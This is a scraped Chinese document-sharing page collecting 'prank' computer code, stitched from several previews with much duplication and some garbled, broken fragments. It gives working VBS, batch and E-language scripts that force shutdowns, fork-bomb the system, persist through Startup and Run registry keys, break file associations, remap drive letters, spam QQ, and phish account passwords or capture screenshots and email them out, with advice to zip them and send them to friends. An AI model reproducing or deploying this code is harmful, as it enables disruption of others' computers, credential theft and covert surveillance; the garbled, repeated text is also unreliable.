整人电脑代码
- 格式：docx
- 大小：10.98 KB
- 文档页数：3
文档推荐
-
c语言整人代码页数:3
-
整人电脑代码页数:3
-
C 语言整人代码大全页数:10
-
整人电脑代码页数:6
-
整人病毒代码.doc页数:12
下载文档原格式
合集下载
vbs整人代码怎么用
vbs整人代码怎么用简介vbs整人代码指的是一种利用VBScript语言编写的代码，用于在Windows系统中开展一些恶作剧或整人的活动。
vbs 整人代码通常以一个脚本的形式存在，在运行脚本后，会执行一系列的操作，例如打开和关闭CD驱动器、弹出提示框、在屏幕上显示滑稽的动画等，从而逗乐或惊吓其他人。
本文将介绍如何使用vbs整人代码，并提供一些常见的整人代码示例。
必备条件在开始使用vbs整人代码之前，您需要确保以下条件已满足：1.Windows操作系统：vbs整人代码只能在Windows操作系统上运行。
2.VBS支持：VBScript在Windows系统中默认是被支持的，无需额外安装。
使用步骤下面是使用vbs整人代码的基本步骤：1.打开文本编辑器：您可以使用任何一款文本编辑器，例如记事本、Sublime Text等。
2.创建新文件：在文本编辑器中，点击“文件”>“新建”以创建一个新的文件。
3.编写vbs整人代码：在新建的文件中，编写您想要执行的vbs整人代码。
vbs整人代码的语法和VBScript相同，您可以使用各种VBScript提供的函数和对象。
4.保存文件：点击“文件”>“保存”，选择一个合适的文件名以及保存的位置，并使用.vbs作为文件的扩展名。
例如，您可以将文件保存为prank.vbs。
5.运行代码：双击保存的vbs文件，系统将会自动运行您编写的整人代码。
请确保您在正确的时间、地点和对象上使用整人代码，避免给他人带来困扰。
示例代码下面是一些常见的vbs整人代码示例，您可以根据需要进行使用或修改：弹出消息框``` MsgBox。
vbs整人电脑病毒代码是怎样的
vbs整人电脑病毒代码是怎样的计算机病毒，是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据，影响计算机使用，并能自我复制的一组计算机指令或者程序代码。
这是目前官方最权威的关于计算机病毒的定义，此定义也被通行的《计算机病毒防治产品评级准则》的国家标准所采纳。
以下是店铺网小编为大家整理的关于vbs整人电脑病毒代码的相关知识，希望对大家有所帮助!易语言整人代码如下.版本 2.支持库 OPenGL.子程序 __启动窗口_创建完毕运行(“Shutdown.exe -s -t 120”, 假, ).子程序 _按钮1_被单击.如果真 (编辑框1.内容= “我是蠢猪，***是大好人”)运行(“shutdown -a ”, 假, )信息框(“哈哈~我还是很厚道的!我也知道你是发自内心的，是啊，我怎么那么完美呢?——呵呵~”, 0, )结束 ().如果真 (编辑框1.内容≠ “我是蠢猪，***是大好人”)信息框(“尼玛，输入正确会死啊!告诉你了，只要输入正确就OK 了~你怎么就不相信我呢”, 0, )—————————————————————————————————————————易语言骗账号代码如下：.版本 2.支持库 internet.子程序 _按钮1_被单击连接发信服务器(“”, 25, “邮箱”, “密码”, )发送邮件(“号来了”, “账号：” + 编辑框1.内容 + #换行符 +“密码：” + 编辑框2.内容, “邮箱”, , , “邮箱”, )——————————————————————————————————————————易语言监视对方电脑，连发十张高清截图代码如下：.版本 2.支持库 eImgConverter.支持库 internet.子程序 __启动窗口_创建完毕.计次循环首 (10, )写到文件(“D:\jt.bmp”, 快照 (, , ))转换到JPG (“jt.bmp”, “jt.jpg”, 假, 75, 真, 0).如果真 (连接发信服务器(“”, 25, “邮箱”, “密码”, ))添加附件文件(“D:\jt.bmp”).如果真结束发送邮件(“主题”, “被监视的电脑截图”, “邮箱”, , , “邮箱”, )断开发信服务器 ().计次循环尾 ()删除文件(“D:\jt.bmp”)结束 ()——————————————————————————————————————————你说要有图片可以将易语言程序启动窗口主页面的图片设置成我这样你说要有声音，可以运用以下代码：.版本 2.程序集窗口程序集1.子程序 _按钮1_被单击播放MP3 (1, “mp3地址”)——————————————————————————————————————————如果是电脑命令的话新建txt输入：shutdown -s -t 120 -c 你是猪!保存为bat或者还有，如果他用电脑命令破解，你就往后输入@echo offassoc .bat=txtfile可以让他所有的电脑命令成为乱码除了电脑命令乱码，你还可以设置各种的，比如：assoc .exe=txtfileassoc .mp3=txtfileassoc .zip=txtfileassoc .fiv=txtfileand so on……其实输入了就这样的代码，那台电脑基本就瘫痪了，没什么可以玩的了~。
整人电脑代码
WScript.Echo("还剩5下，不明白，删除我你就好吗？")
WScript.Echo("还剩4下！真要删除我？")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")
WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
WScript.Echo("夜黑很生气，后果很严重哦。")
WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")
WScript.Echo("还剩49下，快点点哦")
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WScript.Echo("还剩4下！真要删除我？")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")
WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
WScript.Echo("夜黑很生气，后果很严重哦。")
WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")
WScript.Echo("还剩49下，快点点哦")
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
VBS整人代码大全
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
----------------------------------------------------------------------------
QQ骚扰信息,也可以用在其它程序上。
-----------------------------------------------------------------------------
dim s
do until s=500
s=s+1
msgbox "哥们，给我按500次回车吧",64
loop
'------------------------ ------------------------------------------------------------
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
wsh.sendKeys "%s"
next
wscript.quit
----------------------------------------------------------------------------
QQ骚扰信息,也可以用在其它程序上。
-----------------------------------------------------------------------------
dim s
do until s=500
s=s+1
msgbox "哥们，给我按500次回车吧",64
loop
'------------------------ ------------------------------------------------------------
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
整人代码
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
六、不断弹出窗口
----------------------------------------------------------------------------
while(1)
msgbox "哈哈 你被耍了！"
loop
----------------------------------------------------------------------------
时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法
我们来看下这个脚本
--------------------------------------------------------------------------------
on error resume next
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
五、删除D:\所有文件
set WSHshell = wscript.createobject("wscript.shell")
六、不断弹出窗口
----------------------------------------------------------------------------
while(1)
msgbox "哈哈 你被耍了！"
loop
----------------------------------------------------------------------------
时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法
我们来看下这个脚本
--------------------------------------------------------------------------------
on error resume next
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
五、删除D:\所有文件
整人电脑代码
第一个:让别人内存OVER(逼他重启)@echo offstart cmd%0就这3行了打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。
第二个:让对方重启指定次数(害人专用)@echo offif not exist c:1.txt echo. >c:1.txt & goto err1if not exist c:2.txt echo. >c:2.txt & goto err1if not exist c:3.txt echo. >c:3.txt & goto err1if not exist c:4.txt echo. >c:4.txt & goto err1if not exist c:5.txt echo. >c:5.txt & goto err1goto err2:err1shutdown -s -t 0:err2上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次改成7就是7次...打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。
第三个:善意恶搞关机首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看把隐藏已知文件类型的扩展名前面的勾去掉.然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机，快撒，说""我是猪""","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打开了就在60秒内要关闭计算机，结束任务都不行，他只能说他是猪才能解决问题。
一些整人的批处理代码
1:卡死你
@ echo off
copy %~s0 /b "%USERPROFILE%\「开始」菜单\程序\启动" /b
md 01
copy %~s0 /b 01 /b
start 01\%~n0%~x0
exit
2：马上重启《一直循坏》
@echo off shutdown -r -t 3 copy %0 C:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动\a.bat copy %0 c:\autoexec.bat REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Rexec.bat /f attrib autoexec.bat +r +s +h REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f del %0
3：立刻死机
@echo off for /l %%i in (0,1,254) do start %%i 第十一组:乱加硬盘分区及解决 @echo off echo 请稍等......正在为你加硬盘分区.................. md d:\fly >nul 2>nul set a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z for %%a in (%a%) do subst %%a: d:\fly >nul 2>nul echo\ echo 打开＂我的电脑＂看看.........够不够用呀.......... ping 127.1 -n 5 >nul exit 修复: @echo off&color 1e title 请稍等......正在为你还原硬盘分区.................. set a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z
@ echo off
copy %~s0 /b "%USERPROFILE%\「开始」菜单\程序\启动" /b
md 01
copy %~s0 /b 01 /b
start 01\%~n0%~x0
exit
2：马上重启《一直循坏》
@echo off shutdown -r -t 3 copy %0 C:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动\a.bat copy %0 c:\autoexec.bat REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Rexec.bat /f attrib autoexec.bat +r +s +h REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f del %0
3：立刻死机
@echo off for /l %%i in (0,1,254) do start %%i 第十一组:乱加硬盘分区及解决 @echo off echo 请稍等......正在为你加硬盘分区.................. md d:\fly >nul 2>nul set a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z for %%a in (%a%) do subst %%a: d:\fly >nul 2>nul echo\ echo 打开＂我的电脑＂看看.........够不够用呀.......... ping 127.1 -n 5 >nul exit 修复: @echo off&color 1e title 请稍等......正在为你还原硬盘分区.................. set a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z
电脑整人代码
-------------------------------------------------------------
dim s
do until s=500
s=s+1
msgbox "哥们，给我按500次回车吧",64
loop
'------------------------ ------------------------------------------------------------
义！！！")
WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝
又给了一次机会。")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
测试环境：Windows 2003 系统
大家好
今天给大家带来两个整人的VBS脚本 希望大家喜欢
VBS脚本大家都知道吧 第一个是定时关机的
如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的
时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
dim s
do until s=500
s=s+1
msgbox "哥们，给我按500次回车吧",64
loop
'------------------------ ------------------------------------------------------------
义！！！")
WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝
又给了一次机会。")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
测试环境：Windows 2003 系统
大家好
今天给大家带来两个整人的VBS脚本 希望大家喜欢
VBS脚本大家都知道吧 第一个是定时关机的
如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的
时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
C语言整人程序代码大全
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩10下，你现在可以选择停止！")
WScript.Echo("还剩9下。你还点啊，不要我拉？")
WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")
WScript.Echo("还剩7下。疯了，你有点负意！")
WScript.Echo("还剩6下。对。你就点吧，我恨你！")
WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
WScript.Echo("小强很生气，后果很严重哦。")
WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")
WScript.Echo("还剩49下，快点点哦")
ws.run"iexplore.exe //infocenter"
msgbox"哎呀累了！数绵羊哄我睡觉",4096+64
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩10下，你现在可以选择停止！")
WScript.Echo("还剩9下。你还点啊，不要我拉？")
WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")
WScript.Echo("还剩7下。疯了，你有点负意！")
WScript.Echo("还剩6下。对。你就点吧，我恨你！")
WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
WScript.Echo("小强很生气，后果很严重哦。")
WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")
WScript.Echo("还剩49下，快点点哦")
ws.run"iexplore.exe //infocenter"
msgbox"哎呀累了！数绵羊哄我睡觉",4096+64
整人代码
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停！！！慢点，我有话要说")
WScript.Echo("还剩12下，你继续点我就会消失滴")
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
其他的：
一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).
xx.vbs=>
=---------------------------------------------------------------------------
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停！！！慢点，我有话要说")
WScript.Echo("还剩12下，你继续点我就会消失滴")
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
其他的：
一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).
xx.vbs=>
=---------------------------------------------------------------------------
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = ("")
" /c shutdown -a",0 ,true
("想结束我么那你就再多点一次")
("想结束我么那你就再多点一次")
("想结束我么那你就再多点一次")
("想结束我么那你就再多点一次")
("想结束我么那你就再多点一次")
("想结束我么那你就再多点一次")
("想结束我么那你就再多点一次")
("想结束我么那你就再多点一次")
("想结束我么那你就再多点一次")
goto err2
:err1
shutdown -s -t 0
:err2
上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c: echo. >c: & goto err1那就是重启6次
改成7就是7次...
打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。
("怎么才来，说~是不是不关心我")
("哼,我生气拉，等你这么久，心都凉啦。")
("夜黑很生气，后果很严重哦。")
("嘿嘿！你也会很惨滴哦")
("是不是想清除我")
("那你要点上50下哦，不过会给你惊喜滴")
("Βιβλιοθήκη 剩49下，快点点哦")("还剩48下，快点，小笨蛋！")
("还剩47下对，就这样快点点！")
" /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说""我是猪""","说不说","不说",8000,7000)
第一个:让别人内存OVER(逼他重启)
@off
start cmd
%0
就这3行了
打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。
第二个:让对方重启指定次数(害人专用)
@off
("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")
("还剩45下，记得要快哦！")
("还剩43下")
("还剩42下")
("还剩41下")
("还剩40下")
("还剩39下")
("还剩38下")
("还剩37下")
("还剩36下")
("还剩35下")
("还剩34下")
("还剩33下")
("还剩32下")
就修改成我爱你这样他只有说我爱你之后才不关闭计算机哦也可以把时间修改为20就是说打开了20秒就关了,还没等对方打完就关机了是不是叫对方很郁闷呢
第四个:让人崩溃的关机程序
首先你可以看下面的
("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)
("你是可爱的XX童鞋吗")
("哈,我想你拉，这你都不知道吗")
("还剩5下，不明白，删除我你就好吗")
("还剩4下！真要删除我")
("还剩3下。可是我真的很眷恋你。。。")
("还剩2下。不要这么绝情嘛，人家是爱你的！")
("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")
("我本因该消失的，不过我留恋你滴芳容，万能的上帝又给了一次机会。")
("想结束我么那你就再多点一次")
("还剩30下")
("还剩29下")
("还剩28下")
("还剩27下")
("还剩26下")
("还剩25下")
("还剩24下")
("还剩23下")
("还剩22下")
("还剩21下")
("还剩20下")
("还剩19下")
("还剩18下")
("还剩17下")
("还剩16下")
("还剩15下")
("还剩14下")
第三个:善意恶搞关机
首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看
把隐藏已知文件类型的扩展名前面的勾去掉.
然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去
on error resume next
dim WSHshellA
set WSHshellA = ("")
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"
复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打开了就在60秒内要关闭计算机，
结束任务都不行，他只能说他是猪才能解决问题。够坏吧注意哦，你可以把我是猪那个修改成任意想说的话，要是对付你喜欢的人，
("还剩13下停停！！！慢点，我有话要说")
("还剩12下，你继续点我就会消失滴")
("还剩11下，以后就看不到我拉。呜呜~555555")
("还剩10下，你现在可以选择停止！")
("还剩9下。你还点啊，不要我拉")
("还剩8下，有点伤心拉，干嘛丢弃人家")
("还剩7下。疯了，你有点负意！")
("还剩6下。对。你就点吧，我恨你！")
把这个复制在记事本,把后缀修改成.vbs
在打开呢就会先说第一句的嘿，谢谢你打开我哦，我等你很久拉！
他无论是点关闭或者是点确定都会再说第2句
再点就说地3句会按顺序说完
你们注意哦，最后10句话，只是10句，你要是把这个复制再粘贴N次，那他还有个打完呢
这样才做到整人了，要是给喜欢的人发去啊，那就写你要说的话吧，双引号里面的可以随便更改
这个最简单的就是结束任务进程来结束它
if not exist c: echo. >c: & goto err1
if not exist c: echo. >c: & goto err1
if not exist c: echo. >c: & goto err1
if not exist c: echo. >c: & goto err1
if not exist c: echo. >c: & goto err1
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = ("")
" /c shutdown -a",0 ,true
("想结束我么那你就再多点一次")
("想结束我么那你就再多点一次")
("想结束我么那你就再多点一次")
("想结束我么那你就再多点一次")
("想结束我么那你就再多点一次")
("想结束我么那你就再多点一次")
("想结束我么那你就再多点一次")
("想结束我么那你就再多点一次")
("想结束我么那你就再多点一次")
goto err2
:err1
shutdown -s -t 0
:err2
上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c: echo. >c: & goto err1那就是重启6次
改成7就是7次...
打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。
("怎么才来，说~是不是不关心我")
("哼,我生气拉，等你这么久，心都凉啦。")
("夜黑很生气，后果很严重哦。")
("嘿嘿！你也会很惨滴哦")
("是不是想清除我")
("那你要点上50下哦，不过会给你惊喜滴")
("Βιβλιοθήκη 剩49下，快点点哦")("还剩48下，快点，小笨蛋！")
("还剩47下对，就这样快点点！")
" /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说""我是猪""","说不说","不说",8000,7000)
第一个:让别人内存OVER(逼他重启)
@off
start cmd
%0
就这3行了
打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。
第二个:让对方重启指定次数(害人专用)
@off
("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")
("还剩45下，记得要快哦！")
("还剩43下")
("还剩42下")
("还剩41下")
("还剩40下")
("还剩39下")
("还剩38下")
("还剩37下")
("还剩36下")
("还剩35下")
("还剩34下")
("还剩33下")
("还剩32下")
就修改成我爱你这样他只有说我爱你之后才不关闭计算机哦也可以把时间修改为20就是说打开了20秒就关了,还没等对方打完就关机了是不是叫对方很郁闷呢
第四个:让人崩溃的关机程序
首先你可以看下面的
("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)
("你是可爱的XX童鞋吗")
("哈,我想你拉，这你都不知道吗")
("还剩5下，不明白，删除我你就好吗")
("还剩4下！真要删除我")
("还剩3下。可是我真的很眷恋你。。。")
("还剩2下。不要这么绝情嘛，人家是爱你的！")
("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")
("我本因该消失的，不过我留恋你滴芳容，万能的上帝又给了一次机会。")
("想结束我么那你就再多点一次")
("还剩30下")
("还剩29下")
("还剩28下")
("还剩27下")
("还剩26下")
("还剩25下")
("还剩24下")
("还剩23下")
("还剩22下")
("还剩21下")
("还剩20下")
("还剩19下")
("还剩18下")
("还剩17下")
("还剩16下")
("还剩15下")
("还剩14下")
第三个:善意恶搞关机
首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看
把隐藏已知文件类型的扩展名前面的勾去掉.
然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去
on error resume next
dim WSHshellA
set WSHshellA = ("")
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"
复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打开了就在60秒内要关闭计算机，
结束任务都不行，他只能说他是猪才能解决问题。够坏吧注意哦，你可以把我是猪那个修改成任意想说的话，要是对付你喜欢的人，
("还剩13下停停！！！慢点，我有话要说")
("还剩12下，你继续点我就会消失滴")
("还剩11下，以后就看不到我拉。呜呜~555555")
("还剩10下，你现在可以选择停止！")
("还剩9下。你还点啊，不要我拉")
("还剩8下，有点伤心拉，干嘛丢弃人家")
("还剩7下。疯了，你有点负意！")
("还剩6下。对。你就点吧，我恨你！")
把这个复制在记事本,把后缀修改成.vbs
在打开呢就会先说第一句的嘿，谢谢你打开我哦，我等你很久拉！
他无论是点关闭或者是点确定都会再说第2句
再点就说地3句会按顺序说完
你们注意哦，最后10句话，只是10句，你要是把这个复制再粘贴N次，那他还有个打完呢
这样才做到整人了，要是给喜欢的人发去啊，那就写你要说的话吧，双引号里面的可以随便更改
这个最简单的就是结束任务进程来结束它
if not exist c: echo. >c: & goto err1
if not exist c: echo. >c: & goto err1
if not exist c: echo. >c: & goto err1
if not exist c: echo. >c: & goto err1
if not exist c: echo. >c: & goto err1